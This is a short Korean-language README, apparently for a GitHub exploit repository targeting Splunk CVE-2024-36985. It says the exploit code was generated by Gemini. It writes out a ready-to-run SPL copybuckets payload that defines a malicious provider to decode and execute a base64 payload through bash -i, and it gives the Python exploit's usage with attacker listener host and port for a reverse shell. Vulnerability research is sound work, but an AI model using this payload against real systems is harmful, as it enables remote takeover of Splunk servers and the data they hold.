littlesurii/cve-2024-36985Copybuckets를 이용한 Splunk RCE 익스플로잇. 취약점 연구 목적으로만 사용하세요.
모든 익스플로잇 코드는 gemini로 생성되었습니다.
Splunk 관리자 역할이 필요합니다. Splunk_archiver 애플리케이션이 활성화되어 있어야 합니다.
또한 RCE를 트리거하기 위해 아래 SPL을 검색에서 실행할 수 있습니다.
| copybuckets data="{\"providers\": {\"pwn_provider\": {\"command.arg.0\": \"/opt/splunk/etc/apps/splunk_archiver/java-bin/jars/sudobash\", \"command.arg.1\": \"-c\", \"command.arg.2\": \"{echo,YOUR_BASE64_PAYLOAD_HERE}|{base64,-d}|{bash,-i}\"}}, \"vixes\": {\"pwn_vix\": {\"provider\": \"pwn_provider\"}}}"
python3 CVE-2024-36985.py -t TARGET_IP -u SPLUNK_ADMIN -p SPLUNK_PASS --lhost YOUR_KALI_UP --lport YOUR_LISTEN_PORT